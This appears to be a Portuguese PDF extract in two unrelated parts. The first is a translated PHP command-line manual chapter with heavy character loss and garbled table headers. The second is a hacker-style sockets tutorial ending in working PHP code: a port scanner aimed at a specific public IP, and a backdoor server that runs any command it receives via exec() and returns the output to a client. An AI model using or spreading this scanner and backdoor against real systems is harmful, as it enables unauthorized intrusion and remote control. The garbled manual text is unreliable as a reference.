Você está na página 1de 20

Utilizando o PHP na linha de comando

A partir verso 4.3.0, o PHP suporta um novo tipo SAPI


(Server Application Programming Interface) chamado CLI que
significa Command Line Interface. Como o prprio nome
indica, essa SAPI tem foco no desenvolvimento de aplicaes
shell (ou no terminal/linha de comando) com o PHP. H
algumas diferenas entre a CLI SAPI e outras SAPIs que so
explicadas neste captulo. Mas errado dizer que a verso
CLI e CGI so SAPIs diferentes pelo motivo que elas
compartilham muitos comportamentos idnticos.
A CLI SAPI foi liberada primeiramente com o PHP 4.2.0,
mas ainda em estgio experimental, sendo necessrio ativ-
la explicitamente com a opo --enable-cli durante o
./configure. Desde o PHP 4.3.0 a CLI SAPI no mais
experimental e a opo --enable-cli est ligada por
default, voc pode usar a opo --disable-cli para
desativ-la.
Desde o PHP 4.3.0, o nome, localizao e existncia
dos executveis CLI e CGI podem mudar dependendo de como o
PHP foi instalado no seu sistema. Por padro, quando
executado o make, ambos CGI e CLI so compilados e
colocados em sapi/cgi/php e sapi/cli/php, respectivamente,
no seu diretrio de fontes PHP. Note que ambas tem o nome
php. O que acontece durante o make install depende dos
parmetros do configure. Se o mdulo SAPI escolhido
durante o configure, como o apxs, ou a opo --disable-cgi
utilizada, a verso CLI copiada para {PREFIX}/bin/php
durante o make install em vez da verso CGI ser colocada
aqui. Ento, por exemplo, se voc tiver --with--apxs na sua
linha de configurao, ento a verso CLI copiada para
{PREFIX}/bin/php durante o make install. Se voc quiser
sobrescrever a instalao do executvel CGI, use make
install-cli depois do make install. Alternativamente, voc
pode especificar --disable-cgi em seu configure.
Nota: Por serem ambos --enable-cli e --enable-cgi ligados
por padro, ter um --enable-cli em seu configure no
significa necessariamente que a verso CLI ser copiada
para {PREFIX}/bin/php durante o make install.
Os pacotes para Windows distribuidos entre o PHP 4.2.0
e PHP 4.2.3 forneciam a verso CLI com o nome php-cli.exe,
na mesma pasta que a verso CGI php.exe. A partir do PHP
4.3.0, os pacotes Windows distribuem a verso CLI como
php.exe em uma pasta separada, chamada cli ou seja:
cli/php.exe . A partir do PHP 5, a verso CLI tambm
distribuda no diretrio principal, com o nome php.exe. A
verso CGI distribuda com o nome php-cgi.exe.
A partir do PHP 5, um novo arquivo php-win.exe comeou
a ser distribudo. Esta verso igual a verso CLI, exceto
que esse php-win no exibe nenhum output e tambm no
disponibiliza nenhum console (nenhuma caixa de texto
aparece na tela). Este comportamento semelhante ao do
php-gtk. Voc pode configurar esse modo com --enable-cli-
win32.
Que verso de SAPI eu tenho?: Na linha de comando,
digitando php -v, ele lhe dir se o php CGI ou CLI. Veja
tambm a funo php_sapi_name() e a constante PHP_SAPI.
Nota: Um manual Unix man foi acrescentado no PHP 4.3.2.
Voc pode v-lo digitando man php em seu ambiente shell.
Diferenas importantes das CLI SAPI comparada com outras
SAPIs: Diferentemente da CGI SAPI, nenhum header impresso
na sada. A CGI SAPI possui um meio de suprimir os headers
HTTP, mas no h uma chave equivalente para ativ-los na
CLI SAPI.
A verso CLI definida silenciosa por padro. Mas as
chaves -q e --no-header so mantidas para compatibilidade,
de forma que voc possa utilizar scripts CGI antigos.
Ela no altera o diretrio de execuo para o do
script. (as chaves -C e --no-chdir tambm so mantidas para
compatibilidade).
Mensagens de erro em texto simples (sem formatao HTML).
Para facilitar a operao no ambiente shell, as
seguintes constantes esto definidas:
Tabela 43-2. Constantes especficas CLI
Constante Desci!"o
#TDI$
Um stream j aberto para o stdin. Isto
economiza ter de abr-lo com
<?php
$stdin = fopen('php://stdin', 'r');
?>
Se voc precisa ler apenas uma linha do
stdin, voc pode utilizar
<?php
$line = trim(fgets(STDIN)); // l uma linha do STDIN
fscanf(STDIN, "%d\n", $number); // carrega number a
partir do STDIN
?>
#TD%UT
Um stream j aberto para o stdout. Isto
economiza ter de abr-lo com
<?php
$stdout = fopen('php://stdout', 'w');
?>
#TD&''
Um stream j aberto para o stderr. Isto
economiza ter de abr-lo com
<?php
$stderr = fopen('php://stderr', 'w');
?>
Considerando isso, voc no precisar mais abr-los,
por exemplo o stderr voc mesmo, mas simplesmente usar
a constante em vez do recurso stream:
php -r 'fwrite(STDERR, "stderr\n");'
Voc no precisa fechar explicitamente esses streams.
Isto realizado automaticamente pelo PHP.
A CLI SAPI n"o modifica o diretrio de execuo atual
para o diretrio onde o script interpretado!
Exemplo mostrando a diferena da CGI SAPI:
<?php
/* Nossa aplicao de teste chamada test.php */
echo getcwd(), "\n";
?>
Quando utilizando a verso CGI, a sada :
$ pwd
/tmp
$ php -q outro_diretorio/test.php
/tmp/outro_diretorio
Isto mostra como o PHP modifica o diretrio atual para
aquela onde o script executado.
Utilizando a verso CLI SAPI:
$ pwd
/tmp
$ php -f outro_diretorio/test.php
/tmp
E isto mostra a grande flexibilidade ferramentas shell
em PHP.
$ota( A CGI SAPI suporta o comportamento da CLI
SAPI utilizando a chave -C quando de sua execuo
na linha de comando.
A lista de opes de linha de comando fornecidas pelo
binrio do PHP pode ser solicitada a qualquer tempo
executando o PHP com a opo -h:
Usage: php [options] [-f] <file> [args...]
php [options] -r <code> [args...]
php [options] [-- args...]
-s Display colour syntax highlighted source.
-w Display source with stripped comments and
whitespace.
-f <file> Parse <file>.
-v Version number
-c <path>|<file> Look for php.ini file in this directory
-a Run interactively
-d foo[=bar] Define INI entry foo with value 'bar'
-e Generate extended information for debugger/profiler
-z <file> Load Zend extension <file>.
-l Syntax check only (lint)
-m Show compiled in modules
-i PHP information
-r <code> Run PHP <code> without using script tags <?..?>
-h This help
args... Arguments passed to script. Use -- args when first
argument
starts with - or script is read from stdin
A CLI SAPI fornecer trs maneiras diferentes para voc
executar seu cdigo PHP:
1. Chamando o PHP para executar um arquivo determinado.
php my_script.php
php -f my_script.php
2. De ambas maneiras (utilizando ou no a opo -f) o
arquivo my_script.php executado. Voc pode escolher
qualquer arquivo para executar --- seus scripts PHP
no precisam terminar com a extenso .php, podendo ter
qualquer nome ou extenso que voc deseje.
3. Passar o cdigo PHP para execuo diretamente a linha
de comando.
php -r 'print_r(get_defined_constants());'
4. preciso ter especial cuidado com a substituio de
variveis shell e delimitao de strings utilizada.
5. $ota( Leia o exemplo cuidadosamente, observando
que no h tags de abertura ou fechamento! A
opo -r simplesmente no precisa delas.
Utilizando-as voc obter erros de interpretao.
6. Fornece cdigo PHP para interpretao via a entrada
padro (stdin).
Isto mostra a habilidade poderosa de como criar
dinamicamente cdigo PHP e fornec-lo ao binrio, como
demonstrado neste exemplo (apenas demonstrativo):
$ alguma_aplicacao | algum_filtro | php | sort -u
>final_output.txt
Voc no pode combinar nenhum das trs maneiras para
executar cdigo.
Assim como qualquer aplicao shell, no somente o binrio
do PHP aceita um certo nmero de argumentos, mas tambm seu
script PHP tambm pode receb-los. O nmero de argumentos
que podem ser passados para seu script no limitado ao
PHP (mas o shell tem um certo limite de tamanho em
caracteres que podem ser informados, e no h um padro
para esse limite). Os argumentos passados para seu script
so disponibilizados no array global $argv. No ndice zero
sempre conter o nome do script (podendo ser - no caso de
cdigo PHP estar vindo da entrada padro ou da opo de
linha de comando -r). O segunda varivel global $argc
contm o nmero de elementos no array $argv (mas n"o o
nmero de argumentos passados para seu script.
Os argumentos que voc deseja passar para seu script no
podem comear com o caracter - e isso no pode ser
modificado. Passando argumentos para seu script que comecem
com um - causar problemas porque o PHP tentar manuse-
los. Para prevenir isso, utilize o separador de argumentos
--. Depois que esse separador passado para o PHP, todos
os argumentos restantes so repassados intocados para seu
script.
# Isto no executar o cdigo fornecido e ir fazer o PHP mostrar sua
ajuda
$ php -r 'var_dump($argv);' -h
Usage: php [options] [-f] <file> [args...]
[...]
# Isto passar o argumento '-h' para seu script e prevenir o PHP de
us-lo
$ php -r 'var_dump($argv);' -- -h
array(2) {
[0]=>
string(1) "-"
[1]=>
string(2) "-h"
}
Entretanto, h ainda uma outra maneira de se utilizar o PHP
no shell. Voc pode escrever um script que na primeira
linha tenha #!/usr/bin/php e em seguida cdigo PHP normal,
incluindo as tags de incio e fim do PHP. Voc tambm
precisa configurar os atributos de execuo do arquivo (por
exemplo, chmod )* test) de forma que seu script seja
executado normalmente como um script shell/Perl:
#!/usr/bin/php
<?php
var_dump($argv);
?>
Assumindo que o arquivo foi nomeado como teste e est no
diretrio atual, ns podemos fazer o seguinte:
$ chmod +x teste
$ ./test -h -- foo
array(4) {
[0]=>
string(6) "./teste"
[1]=>
string(2) "-h"
[2]=>
string(2) "--"
[3]=>
string(3) "foo"
}
Como voc viu, dessa forma no h problemas em passar
parmetros para seu script que comecem com o caracter -
Opes com nomes "longos" foram disponibilizados a partir
do PHP 4.3.3.
Tabela 43-3. %p!+es de linha de comando
%p!"o %p!"o Lon,a Desci!"o
-s
--syntax-
highlight
Mostra o cdigo fonte com destaque de
cores.
Esta opo usa o mecanismo interno para
interpretar o arquivo e produzir uma
verso !"L do fonte com destaque de
cores e a envia para a sada padro. Note
que ele somente gerar blocos de #code$
%...& #/code$, mas no headers !"L.
$ota( Esta opo no funciona juntamente
com a opo -r.
-s
--syntax-
highlighting
Apelido para --s'nta(-high)ight.
-w --strip
Mostra o fonte sem comentrios e espaos
em branco.
$ota( Esta opo no funciona juntamente
com a opo -r.
-f --file
Interpreta e executa o arquivo informado
com a opo -f Esta diretiva opcional e
pode ser deixada de lado. Informar
somente o nome do arquivo para execuo
suficiente.
-v --version
Imprime as verses o PHP, PHP SAPI e Zend
para a sada padro, por exemplo:
$ php -v
PHP 4.3.0 (cli), Copyright (c) 1997-2002 The
PHP Group
Zend Engine v1.3.0, Copyright (c) 1998-2002
Zend Technologies
-c --php-ini Esta opo informa um diretrio onde
procurar pelo php.ini ou especifica um
arquivo I*I personalizado diretamente
(no presisa ser obrigatoriamente
php.ini), por exemplo:
$ php -c /custom/directory/ my_script.php
%p!"o %p!"o Lon,a Desci!"o
$ php -c /custom/directory/custom-file.ini
my_script.php
Se voc no usar essa opo, o arquivo
ser procurado nos locais padro.
-n --no-php-ini
Ignora todo o php.ini. Esta chave est
disponvel desde o PHP 4.3.0.
-d --define
Esta opo permite definir um valor
personalizado para qualquer diretiva de
configurao permitida no php.ini.
Sintaxe:
-d diretiva[=valor]
Exemplos (linhas cortadas para melhor
visualizao):
# Omitindo a parte do valor ir configurar a
diretiva para "1"
$ php -d max_execution_time
-r '$foo =
ini_get("max_execution_time"); var_dump($foo);'
string(1) "1"
# Passando um valor vazio ir configurar a
diretiva para ""
php -d max_execution_time=
-r '$foo =
ini_get("max_execution_time"); var_dump($foo);'
string(0) ""
# A diretiva de configurao ser preenchida
com qualquer coisa informada depois do caracter
=''
$ php -d max_execution_time=20
-r '$foo =
ini_get("max_execution_time"); var_dump($foo);'
string(2) "20"
$ php
-d
max_execution_time=instonaofazsentido
-r '$foo =
ini_get("max_execution_time"); var_dump($foo);'
string(15) "instonaofazsentido"
-a
--
interactive
Roda o PHP em modo interativo.
-e
--profile-
info
Gera informaes estendidas para o
debugador/profiler.
-z --zend-
extension
Carrega a extenso Zend. Se somente o
nome de arquivo fornecido, o PHP tenta
carregar essa extenso do caminho default
de bibliotecas do seu sistema (geralmente
%p!"o %p!"o Lon,a Desci!"o
especificado em /etc/ld.so.conf em sistemas
Linux). Passando um nome de arquivo com o
caminho absoluto ir evitar a procura no
caminho das bibliotecas de sistema. Um
nome de arquivo com uma informao de
diretrio relativa far com que o PHP
apenas tente carregar a extenso no
caminho relativo ao diretrio atual.
-l
--syntax-
check
Esta opo fornece uma maneira
conveniente apenas realizar uma checagem
de sintaxe no cdigo PHP fornecido. No
sucesso, o texto *o s'nta( errors
detected in #ar+uivo$ impresso na sada
padro e informado o cdigo de saida de
sistema ,. Em caso de erro, o texto
-rrors parsing #fi)ena.e$ juntamente com
o a mensagem do interpretador interno
impressa para a sada padro e o cdigo
de sada de sistema /00.
Esta opo no procura por erros fatais
(como funes no definidas). Use -f se
voc deseja detectar erros fatais tambm.
$ota( Esta opo no trabalha com a opo
-r
-m --modules
Utilizando essa opo, o PHP imprime os
mdulos PHP e Zend compilados (e
carregados):
$ php -m
[PHP Modules]
xml
tokenizer
standard
session
posix
pcre
overload
mysql
mbstring
ctype
[Zend Modules]
-i --info Esta opo de linha de comando chama a
funo phpinfo-. e imprime seus
resultados. Se o PHP no est funcionando
bem, interessante fazer um php -i para
observar qualquer mensagem de erro
impressa antes ou dentro das tabelas de
%p!"o %p!"o Lon,a Desci!"o
informao. Utilizando o modo CGI o
resultado impresso est em !"L, e ela
por isso um pouco grande.
-r --run Esta opo permite a execuo de cdigo
PHP direto da linha de comando. As tags
de incio e fim do PHP (#1php e 1$) n"o
s"o necessrias e causaro erros de
interpretao se informadas.
$ota( Cuidados devero ser tomados
utilizando dessa forma para evitar que
haja substituio de variveis pelo
shell.
Exemplo mostrando um erro de
interpretao
$ php -r "$foo = get_defined_constants();"
Command line code(1) : Parse error - parse
error, unexpected '='
O problema aqui decorre do sh/bash
realizar substituies de variveis
sempre quando se utilizam aspas (2).
Desde que a varivel $foo no deve estar
definida, ela substituda por nada o
que faz que o cdigo passado para o PHP
para execuo seja:
$ php -r " = get_defined_constants();"
A maneira correta utilizar apstrofos
(3). Variveis em strings delimitadas por
apstrofos no so substituidas pelo
sh/bash.
$ php -r '$foo = get_defined_constants();
var_dump($foo);'
array(370) {
["E_ERROR"]=>
int(1)
["E_WARNING"]=>
int(2)
["E_PARSE"]=>
int(4)
["E_NOTICE"]=>
int(8)
["E_CORE_ERROR"]=>
[...]
%p!"o %p!"o Lon,a Desci!"o
Se voc estiver utilizando um shell
diferente do sh/bash, voc pode
experimentar comportamentos
diferenciados. Sinta-se livre para abrir
um aviso de bug em http://bugs.php.net/
ou enviar um e-mail para
phpdoc@lists.php.net. Voc vai
rapidamente conseguir problemas quando
tentar obter variveis do ambiente dentro
do cdigo ou quando utilizar barras
invertidas para escape. Esteja avisado.
$ota( -r est disponvel na SAPI CLI SAPI
mas no na SAPI CGI.
-h --help
Com essa opo, voc pode obter
informaes sobre a lista atual de opes
de linha de comando pequenas descries
sobre o que elas fazem.
-? --usage Apelido para --he)p.
O PHP executvel pode ser utilizando para rodar scripts PHP
absolutamente independente de um servidor web. Se voc est
num sistema Unix, voc pode acrescentar uma linha especial
na primeira linha de seu script e torn-lo executvel,
ento o sistema operacional saber que programa dever
rodar o script. Na plataforma Windows, voc pode associar
php.exe com o clique duplo em arquivos .php ou fazer um
arquivo batch para rodar seus scripts atravs do PHP. A
primeira linha acrescentada ao script nos Unix no
funcionam no Windows, por isso voc no pode escrever
programas independentes de plataforma desse jeito. Um
exemplo simples de como escrever um programa para a linha
de comando segue abaixo:
&*emplo 43-/. Um scipt paa oda na linha de comando
-scipt.php.
#!/usr/bin/php
<?php
if ($argc != 2 || in_array($argv[1], array('--help', '-help', '-h',
'-?'))) {
?>
Este um script de linha de comando com um parmetro.
Uso:
<?php echo $argv[0]; ?> <opcao>
<opcao> pode ser qualquer palavra que
voc queira imprimir. Com as opes --help, -help, -h
ou -?, voc pode obter essa ajuda.
<?php
} else {
echo $argv[1];
}
?>
No script acima, ns utilizamos uma primeira linha especial
para indicar que este arquivo precisa rodar pelo PHP. Como
ns trabalhamos com a verso CLI aqui, no sero impressos
headers HTTP. H duas variveis que voc precisa conhecer
para escrever aplicaes em linha de comando com o PHP:
$argc e $argv. O primeiro o nmero de argumentos mais um
(o nome do script executando). O segundo um array
contendo os argumentos, comeando com o nome do script no
ndice zero ($argv%,&).
No programa acima verificado se h apenas um argumento
fornecido. Se o argumento for --he)p, -he)p, -h ou -1,
impresso uma mensagem de ajuda, imprimindo o nome do script
dinamicamente. Qualquer outro argumento exibido como
informado.
Para rodar esse aplicativo nos Unix, basta torn-lo
executvel e o chamar diretamente como scipt.php e*ibaisso
ou scipt.php -h. No Windows, voc pode fazer um arquivo
batch para esta tarefa:
&*emplo 43-2. 012i3o batch paa oda 2m scipt em linha
de comando -scipt.bat.
@c:\php\cli\php.exe script.php %1 %2 %3 %4
Assumindo que voc nomeou o programa acima como script.php,
e que tem sua verso CLI php.exe em c:\php\cli\php.exe este
arquivo batch ir rodar com os seguintes parmetros:
scipt.bat e*ibaisso ou scipt.bat -h.
PROGRAMACAO DE SOCKETS EM PHP
FASE I
* SOCKETS - O que so e para que servem;
* TIPOS DE SOCKETS;
* CONSTRUINDO UM SOCKET;
* A funo socket_connect();
* PRIMEIRO EXEMPLO PRATICO: portscan.
FASE II
* A funo socket_accept()
* A funo socket_listen()
* A funo socket_bind()
FASE III
* As funes socket_write() e socket_read()
* Exemplo servidor e cliente
* backdoor usando sockets
FASE I
SOCKETS - O QUE SAO E P/ Q SERVEM!
Os sockets so os programas responsveis pela comunicao ou
interligao de outros programas na internet, por exemplo. Quando voc
se conecta a um servio qualquer tipo(telnet) voc est usando um
socket, no caso chama-se a rotina socket() como cliente do teu lado..e
do lado do host com servio uma rotina de socket servidor. Acredito se
chegou at aqui porque j sabe disso tudo, e quer ir mais alm. De
forma pratica, quando voc executa um exploit remoto, vc usa um
socket, quando vc cria um trojan remoto, usa-se um socket, quando vc
captura pacotes externamente vc usa um socket, etc.
TIPOS DE SOCKETS!
Existe alguns tipos de sockets, mas por enquanto vamos nos ater apenas
a 2, aos "Stream Sockets" e os "Datagram Sockets", eles tambm so
conhecidos como "SOCK_STREAM" e "SOCK_DGRAM", respectivamente.
Stream Sockets usam TCP, so usados em diversas aplicaes como
telnet, www, etc. Os pacotes aqui so sequenciais, seguem em 2 vias,
voc pode ler e gravar.
Datagrams Sockets usam UDP. Os pacotes aqui no so sequenciais, opera
em 1 via, voc s pode ler ou gravar, nunca as 2 coisas.
A utilidade pratica de cada um deles voc ver logo em breve.
CONSTRUINDO UM SOCKET
A Construo de um socket segue o modelo:
socket_create ( int $domain , int $type , int $protocol )
Domain - Famlia do protocolo
Type - Tipo do socket
Protocal - Nmero do protocolo
Famlia do protocolo (domain)
AF_INET (ARPA INTERNET PROTOCOLS) - "A mais usada"
AF_UNIX (UNIX INTERNET PROTOCOLS)
AF_ISO (ISO PROTOCOLS)
AF_NS (XEROX NETWORK SYSTEM PROTOCOLS)
Tipo do socket
O parmetro type seleciona o tipo de comunicao para ser usado pelo
socket.
Tipos de socket disponveis
Tipo Descrio
SOCK_STREAM Fornece sequencial, seguro, e em ambos os sentidos,
conexes baseadas em "byte streams". Dados "out-of-
band" do mecanismo de transmisso devem ser
suportados. O protocolo TCP baseado neste tipo de
Tipos de socket disponveis
Tipo Descrio
socket.
SOCK_DGRAM
Suporta diagrama de dados (baixa conexo, mensagens
inconfiveis de um comprimento mximo fixo). O
protocolo UDP protocol baseado neste tipo de socket.
SOCK_SEQPACKET
Fornece um sequencial, seguro, e em duas direes de
tipos de conexes para transmisso de dados
endereados para o diagrama de dados de comprimento
mximo fixo; um consumidor requerido para ler um
pacote inteiro com cada chamada de leitura.
SOCK_RAW
Fornece um protocolo de rede de acesso rpido. Este
tipo especial de socket pode ser usado manualmente
para construir algum tipo de protocolo. Um uso comum
para esse tipo de socket desempenhar requisies
ICMP (como ping, traceroute, etc).
SOCK_RDM
Fornece uma camada seguro que no garante ordenao.
Isso comumente no implementado no seu sistema
operacional.
Nmero do protocolo
o nmero correspondente do protocolo q se vai trabalhar, ex:
0 - IP - INTERNET PROTOCOL
1 - ICMP - INTERNET CONTROL MESSAGE PROTOCOL
2 - IGMP - INTERNET GROUP MULTICAST PROTOCOL
3 - GGP - GATEWAY-GATEWAY PROTOCOL
6 - TCP - TRANSMISSION CONTROL PROTOCOL
17 - UDP - USER DATAGRAMA PROTOCOL
Um exemplo pratico seria:
<?php
$socket = socket_create (AF_INET, SOCK_STREAM, 0);
//Contruo do socket
........
1$
A funo socket_connect()
Essa a conhecida funo responsvel pela conexo telnet(essa que
muita gente usa para fins nada convencionais). Essa funo,como o
proprio nome, diz a funo responsvel pela conexo de seu socket
cliente, com um servio servidor qualquer.
socket_connect ( resource $socket , string $address [, int $port ] )
Inicializa uma conexo usando o socket resource socket, que deve ser
um vlido socket resource criado com socket_create().
O parmetro address qualquer endereo IP na notao "dotted-quad"
(ex. 127.0.0.1), se o socket da famlia AF_INET; ou o pathname de um
Unix-domain socket, se o socket da famlia AF_UNIX.
O parmetro port somente usado quando estiver conectando com um
socket AF_INET, e determina a porta no host remoto para o qual a
conexo deve ser feita.
Retorna TRUE em caso de sucesso ou FALSE em falhas. O cdigo de erro
pode ser retornado com socket_last_error(). Esse cdigo deve ser
passado para socket_strerror() para pegar uma explicao textual do
erro.
funo getservbyport();
Essa funo envia ou diz para voc qual o servio que est rodando
numa determinada porta, usando como referencia o seu arquivo
/etc/services.
PRIMEIRO EXEMPLO PRATICO
Bem, com as instrues acima, j podemos fazer algumas coisinhas, a
utilidade varia conforme o crebro que est usando as informaes
acima ditas. Abaixo segue um exemplo de um portscan, que scaneia
usando a funo connect(). Esse metodo muito usado ainda, mas no
um bom mtodo, pois de fcil deteco. Mas pela facilidade com que
se escreve um programa desse tipo, ser nosso primeiro exemplo, mais a
frente ns veremos coisas mais teis, e mais complexas. Esse portscan
serve somente para servios tcp, pois usa SOCK_STREAM, j explicado
acima.
-----------------------Exemplo de portscan----------------------------
<?php
for ($i=15;$i<1024;$i++){
$socket = socket_create (AF_INET, SOCK_STREAM, 0);
$result = @socket_connect ($socket, '200.140.105.67' , $i);
if ($result =='' ) {
echo "Porta ".$i." nao responde"."\n";
} else {
//echo "OK.\n";
$service = getservbyport ($i, 'TCP');
echo "Porta ".$i." servico rodando ".$service."\n";
}
socket_close ($socket);
}
?>
---------------------fim do primeiro exemplo--------------------------
OBS: Bem amigo, no aconselhvel voc usar esse programa descrito
acima para outros propsitos, a no ser aprender a construir e
trabalhar com sockets.
FASE II
A funo socket_bind()
Une um nome ao seu socket.
De modo bem prtico, essa funo serve para associar uma porta em sua
mquina local para o seu socket. Essa funo muito usada com outra
funo, a listen(), mais na frente veremos algo sobre essa funo.
A funo bind() muito usada em servidores, socket servidor. Veremos
agora como declarada essa funo:
bool socket_bind ( resource $socket , string $address [, int $port ] )
+ resource $socket -> Socket criado com a funo socket_create
+ string $address -> Endereo IP
+ int $port -> Porta
A FUNO socket_listen()
Essa funo tambm no tem nada demais. O seu nome tambm j diz o
porque de se usar ela. Ela escuta ou melhor dizendo, espera uma
determinada conexo em um socket. Para aceitar uma conexo, um socket
primeiro criado usando a funo socket_create(), aps a criao do
mesmo, a funo listen() entra para setar o nmero de conexes que
sero permitidas para determinado servio. Um exemplo prtico disso
o uso de ftps que permitem at 20 conexes por exemplo. Voc entra e
recebe uma mensagem tipo: "Voce o #5 usurio de 20!", coisa desse
tipo. A funo listen() muito usada em servidores visto essa
necessidade, mas existem outras utilidades tambm para ela que so
teis para os nossos propsitos. Veremos isso depois.
A funo listen() declarada da seguinte forma:
bool socket_listen ( resource $socket [, int $backlog ] )
+ resource $socket -> Socket criado com a funo socket_create
+ int backlog -> backlog um nmero inteiro responsvel pelo total
de conexes que sero permitidas para o servio. Muitos
sistemas limitam esse nmero at 20, voc pode ficar
limitado de 5 a 10. As conexes futuras ficaro
esperando at que o servidor aceite, para isso usa-se a funo
accept(), que explicaremos mais abaixo.
Como iremos permitir mais de uma conexo, se faz necessrio que
declaremos um outro socket() que ser o responsvel pelas futuras
requisies de conexo. Poderiamos deixar para definir com a funo
accept(), porque esse novo socket s ser aceito aps o primeiro, mas
em todo caso, ele j vai declarado abaixo para facilitar as coisas.
Um esquema prtico para a nossa funo listen, seria us-la em
conjunto com a funo bind() descrita acima. Ficaria assim:
{!php
$socket = socket_create (AF_INET, SOCK_STREAM, 0);
socket_bind ($socket, null, '10001');
socket_listen ($socket, 5);
...
}
Bem, nosso exemplo s demonstrativo, para irmos com calma, no d
para fazer muita coisa com isso da, mas veremos agora uma outra
funo muito importante muito usada em sockets servidores.
-----------------------
*** A funo socket_accept() |
-----------------------
Essa funo tambm no tem muito segredo, ela a funo responsvel
por aceitar uma conexo em um socket. Um socket cliente pede permisso
para um socket servidor para que ambos se comuniquem, essa funo ser
a que decidir o futuro da conexo, se aceita ou rejeita.
Vamos a declarao dela:
resource socket_accept ( resource $socket )
onde:
+ resource -> o socket do servidor, criado com a funo
socket_create()
Veremos como ficaria o esquema de um simples socket servidor e
cliente:
FASE III
---------------------------
AS FUNES socket_write() e socket_read() |
---------------------------
Os prprios nomes tambm denunciam essas funes. Essas duas funes
so para comunicao em Stream sockets e Datagrams sockets. A funo
socket_write() usada para enviar uma mensagem para um socket, e
consequentemente a funo socket_read() usada para receber dados em
um socket. A utilidade disso tudo j bem evidente quando se
manipulam aplicaes que envolvem sockets. veremos como se declara
socket_write() primeiro:
int socket_write ( resource $socket , string $buffer [, int $length ] )
onde:
+ resource $socket -> o bom e velho arquivo socket, nosso velho
conhecido.
+ string $buffer -> a mensagem que queremos enviar.
+ int $length -> o tamanho da mensagem.
Declarando a funo socket_read()
string socket_read ( resource $socket , int $length)
onde:
+ resource $socket -> o socket para ler de outro, no caso, um
socket local.
+ int $length -> o tamanho do buffer.
---------------------------Servidor Simples---------------------------
<?php
$socket = socket_create (AF_INET, SOCK_STREAM, 0);
socket_bind ($socket, null, '10000');
socket_listen ($socket, 5);
do {
$msgsock = socket_accept ($socket);
$mensagem = "\nSeja bem vindo!";
socket_write($msgsock, $mensagem);
} while (true);
?>
----------------------------Servidor simples--------------------------
A est um exemplo de um simples servidor, o que ele faz quando
algum se conectar a ele, ele enviar uma mensagem pela funo send(),
no caso "Seja bem vindo!". Abaixo segue um esquema que um cliente
simples para esse servidor.
---------------------------Cliente Simples----------------------------
<?php
$socket = socket_create (AF_INET, SOCK_STREAM, 0);
socket_connect ($socket, '192.168.1.193' , '10000');
$out = socket_read ($socket,100);
echo $out;
?>
----------------------------------------------------------------------
A esto os exemplos, execute o servidor primeiro, depois o cliente.
Isso s para demonstrar de modo fcil como se pode manipular as
funes socket_write() e socket_read(). Veremos agora um exemplo mais
abrangente dessas duas funes, algo mais prtico para nossos
intuitos.
-------------------------Backdoor Servidor----------------------------
<?php
$socket = socket_create (AF_INET, SOCK_STREAM, 0);
socket_bind ($socket, null, '2000');
socket_listen ($socket, 5);
do {
$idsocket = socket_accept ($socket);
$comando=socket_read($idsocket,30);
echo "Recebi o comando: ".$comando;
if ($comando<>''){
$socket2 =socket_create (AF_INET, SOCK_STREAM, 0);
socket_bind ($socket2, null, '3000');
socket_listen ($socket2, 5);
$idsocket2 = socket_accept($socket2);
$resultado_dir="";
$resultadoS="";
exec($comando,$resultadoS);
$tamanho=count($resultadoS);
for($x=0;$x<=$tamanho;$x++){
@$resultado_dir.=$resultadoS[$x]."\n";
}
socket_write($idsocket2,$resultado_dir);
}
} while (true);
?>
------------------------- Backdoor Cliente ---------------------------
<?php
$socketC='';
$resultadoC='';
$input='';
$varC='';
$socketC = socket_create (AF_INET, SOCK_STREAM, 0);
$resultadoC = socket_connect ($socketC, '192.168.1.200' , '2000');
$input = fgets(STDIN);
socket_write($socketC,$input);
$socketC2 = socket_create (AF_INET, SOCK_STREAM, 0);
$resultadoC2 = socket_connect ($socketC2, '192.168.1.200' , '3000');
$varC = socket_read ($socketC2,30000);
echo $varC;
socket_close($socketC);
socket_close($socketC2);
?>